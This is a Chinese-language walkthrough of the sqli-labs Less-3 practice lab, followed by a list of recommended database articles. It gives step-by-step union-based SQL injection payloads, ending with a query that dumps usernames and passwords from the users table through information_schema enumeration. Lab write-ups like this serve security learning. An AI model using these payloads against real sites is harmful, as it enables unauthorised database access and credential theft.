SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

复制代码
?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

复制代码
?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

复制代码
?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

复制代码
?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

复制代码
?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

复制代码
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

复制代码
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

复制代码
?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
IvorySQL27 分钟前
PostgreSQL 日报 | JOIN 与外键优化(8 月 9 日)
数据库·postgresql
ltl1 小时前
自治数据库十年回顾:Peloton、NoisePage、OtterTune 到云原生 auto-tuning
数据库
灯澜忆梦2 小时前
【MySQL10】进阶篇 | 索引_#2性能优化
数据库·sql·mysql·性能优化
C++ 老炮儿的技术栈4 小时前
从 Qt Designer 属性编辑器的层级可以看到继承链
c语言·数据库·c++·qt·sqlite·visual studio
MC皮蛋侠客4 小时前
Redis 系列(一):全景与最小闭环——从 `SET` 命令到内存数据结构
数据结构·数据库·redis
zt1985q6 小时前
本地部署开源网络书签与内容管理工具 Karakeep 并实现外部访问
运维·服务器·网络·数据库·网络协议·开源
IvorySQL7 小时前
PostgreSQL 日报| PostgreSQL 19 默认 WAL 压缩算法(8 月 8 日)
数据库·postgresql·区块链
油丶酸萝卜别吃7 小时前
MySQL B+ 树查询全过程详解
数据库·mysql
leisoo80977 小时前
股票数据本地化存储实战:JSON、数据库与列式存储的方案对比
jvm·数据库·json
Exclusive_Cat7 小时前
MySQL回表机制解析与优化策略
数据库·sql